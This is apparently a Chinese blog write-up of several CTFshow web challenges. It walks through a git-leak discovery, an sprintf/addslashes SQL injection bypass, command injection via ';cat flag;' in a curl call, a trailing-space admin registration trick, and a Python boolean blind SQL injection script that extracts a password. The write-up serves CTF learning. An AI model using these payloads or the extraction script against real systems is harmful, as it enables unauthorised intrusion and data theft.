CTFSHOW--萌新赛

给她

打开环境

以为是SQL注入,尝试输入SQL语句/?name=asd',发现被转义了

题目是给她,和git很相似,使用dirsearch扫一扫

dirsearch -u https://ffc0949e-cfc8-48c6-9e8e-229c5a937943.challenge.ctf.show/

发现git泄露,使用GITHACK工具

python2 GitHack.py https://ffc0949e-cfc8-48c6-9e8e-229c5a937943.challenge.ctf.show/git/

扫到一个hit.php

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

 关于sprintf函数:

php sprintf 漏洞,解析php sprintf函数漏洞-CSDN博客

sprintf函数使用switch case对15种类型做了匹配,包括%s、%d、%u…但如果在15种类型之外就会直接break。

当我们输入%\%1$\时,sprintf会把反斜杠当做格式化字符串的类型,但他们并不在15种类型之中,就会未经任何处理而被替换为空

addslashes()函数:

addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(")、双引号(“”)、反斜线(\\)与NUL(NULL字符)

我们还可以看到addslashes()函数进行了过滤,所以我们构造绕过

?name=1&pass=%1$' or 1=1--+

他说There's nothing here,查看一下源代码

我们之间访问/flag,没什么用,抓包看一看

在cookie里发现了file,讲file的值进行16进制转换

发现它访问的是flag.txt,但是flag在/flag里,我们构造/flag的16进制

 2f666c6167

修改file的值为2f666c6167,得到flag

签到题 

https://www.cnblogs.com/dirt2/p/5991033.html

打开得到源码

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

我们使用分号,执行多个命令来进行绕过

/?url=;ls;

 

/?url=;cat flag;

假赛生

PHP: preg_replace_callback - Manual

提示:register.php login.php 大佬们别扫了

打开环境,得到源码

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

简单审计一下,大概意思就是需要$name=admin,并且还要通过get传参c,且要绕过正则表达式\w和\W

\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配

(这儿我们使用空格绕过就行了)

注意有两个界面register.php和login.php

我们进入register.php注册一下admin/123

发现被屏蔽了,空格绕过就行(sql注入特点:当最后为空格时会过滤掉空格。)admin /123

注册成功,去登录界面登录admin/123

登录成功,这儿我们需要进行绕过c,我们不输入值即可绕过

萌新记忆 (还不是很明白)

打开环境,查看源代码也没有看到什么有用的信息,抓包看一看,也没发现,扫一扫后台

扫到admin界面,访问

进入了一个登录界面

输入admin/123看一下

提示密码错误,输入admin'/123

用户名/密码错误,猜测用户名就是admin,抓包看一看

发现POST两个参数,u&p

发现SQL注入漏洞,FUZZ一下,发现=,or,union,select,insert,update等敏感字符均被过滤了,但是,没有过滤过滤关键的’,因为and,or都过滤了,我们可以使用||来代替or来实现一个bool的盲注。

u='||'a'<'b'||'&p=1

这儿是因为’a’<'b’始终成立所以它默认我们的账号是正确的,接着构造

u='||'a'>'b'||'&p=1

 发现了第三种回显,这儿不明白这个什么意思,看大佬们的WP总结了一下

确定存在admin用户,接下来我们要去才p的长度

u='||length(p)<1||'&p=1
u='||length(p)<2||'&p=1
u='||length(p)<3||'&p=1
.....
u='||length(p)<17||'&p=1

最后确定长度为17

接下来直接用脚本爆密码

import requests
import re

# 目标URL,用于发送POST请求
url = 'http://cfa5d41a-3048-4463-84c7-b13d2d9fb4d7.challenge.ctf.show/admin/checklogin.php'

# 初始化用于保存字母的列表
pp = []

# 初始化保存flag的字符串
flag = ''

# 生成字母列表,包含a到z的小写字母
for i in range(97, 123):
    pp.append(chr(i))

# 尝试破解的字符串的最大长度,这里假设为17
for i in range(1, 18):
    for j in range(len(pp)):
        # 构造SQL注入payload,猜测字符串的第i个字符
        payload = "'||substr(p,{},1)<'{}".format(i, pp[j])

        # 构造POST请求的数据,其中'u'是注入点,'p'是固定值
        data = {
            'u': payload,
            'p': 1
        }

        # 发送POST请求
        res = requests.post(url=url, data=data)

        # 判断返回的响应是否为“密码错误”,以确定当前猜测字符是否正确
        if "密码错误" == res.text:
            # 如果当前字符猜测正确,将其添加到flag中
            flag += pp[j - 1]
            print(flag)
            break

得到密码 cptbtptpbcptdtptp,登录拿到flag

  • 21
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值